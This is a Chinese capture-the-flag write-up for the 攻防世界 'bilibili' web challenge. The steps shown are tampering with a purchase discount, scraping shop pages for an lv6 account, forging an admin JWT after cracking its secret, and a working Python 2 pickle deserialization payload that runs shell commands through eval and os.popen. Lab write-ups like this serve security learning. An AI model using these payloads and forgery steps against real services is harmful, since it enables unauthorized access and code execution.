您现在的位置是:首页 > 技术教程 正文

攻防世界-WEB-bilibili

admin 阅读: 2024-04-01
后台-插件-广告管理-内容页头部广告(手机)

正文

。。。。。。。。。。。。。。。。。。。。

6

看样子是一个购物平台

爆一下目录

我们先注册一个用户

登录后的页面

然后尝试购买

发现居然有打折

由于囊中羞涩,便只好抓个包看看是否存在漏洞可以利用

修改price

未果

修改discount

成功购买

但是这并不能说明什么

我们再回到KUNKUN应援团查看

也就是说,我们需要购买lv6的账号才可进行下一步

翻了十几页实在没有闲情逸致翻下去了,便想着写个脚本帮我们找

f12看一看有没有什么特别的东西

那么可以确定的是,等级图片与名字相对应

于是写出如下脚本

  1. import requests
  2. url_base = "http://61.147.171.105:58948/shop?page="
  3. search_item = "lv6.png"
  4. for page_num in range(1, 501):#这里选择500是因为它一共500页
  5. url = url_base + str(page_num)
  6. response = requests.get(url)
  7. if search_item in response.text:
  8. print(f"Found {search_item} on page {page_num}: {url}")

6级号就是不一样,hint都比别人嚣张一些//DOGE

老样子,抓包改包

康康 /blg_m4mber

烦人

继续抓包

这里拓展一下小知识

  1. JWT用于在网络上以 JSON 对象的形式安全地传输信息。JWT 可以在用户和服务之间传递信息,通常用于身份验证和信息交换。
  2. JWT 由三部分组成,每部分之间使用点号.分隔:
  3. Header(头部):包含了令牌的类型(即 JWT)以及所使用的加密算法。
  4. Payload(载荷):包含了要传输的信息,比如用户的身份信息、权限等。
  5. Signature(签名):使用指定的算法对 Header 和 Payload 进行签名,确保数据的完整性和验证发送方的身份。
  6. 然而,需要注意的是,由于 JWT 是基于 Base64 编码的,因此其中的信息是可以被解码的,因此不应该在 JWT 中存储敏感信息,如密码等。

丢jwt在线工具里看看

将789修改为admin即可

但是我们还需要知道对称密钥是什么,由此需要一个工具:jwtcracker

.........

你知道我家哥哥有多努力吗?我家哥哥那么努力,唱功那么好,发烧40度还站在舞台上,你们怎么还恬不知耻黑我家哥哥。。。。。。。。。。

不好意思串台了

知道密钥后对原本的进行修改

成功

点击一键成为大会员

再就没有什么可以利用的信息了

我们f12看看

好好好

下载下来后进行代码审计

最后在xx\www\sshop\views\Admin.py中查出端倪

由此联想pickle序列化

可以看一下这位师傅的文章

Python反序列化_python 反序列化-CSDN博客文章浏览阅读1.3k次。python反序列化_python 反序列化https://blog.csdn.net/qq_61209261/article/details/126085518?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522170977682816800185818861%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=170977682816800185818861&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-2-126085518-null-null.142

%20

这里对become参数的值做了url解码后再进行反序列化,我们只需要与其相反即可

%20

还有一点需要注意,这里涉及的所有python代码都是python2.x编写的,所以我们也需要与其相同

%20
  1. import%20pickle
  2. import%20urllib
  3. class%20Exp(object):
  4. %20%20%20%20def%20__reduce__(self):
  5. %20%20%20%20%20%20%20%20a="__import__('os').popen('ls').read()"
  6. %20%20%20%20%20%20%20%20return(eval,(a,))
  7. %20%20%20%20
  8. b=pickle.dumps(Exp())
  9. print%20urllib.quote(b)
%20

成功被执行,接下来就是找flag

成功


总结

总体来说,难度不大,不过我是越来越喜欢攻防世界了//doge

求赞求关注,感谢!!!!

标签:
声明

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

在线投稿:投稿 站长QQ:1888636

后台-插件-广告管理-内容页尾部广告(手机)
关注我们

扫一扫关注我们,了解最新精彩内容

搜索
排行榜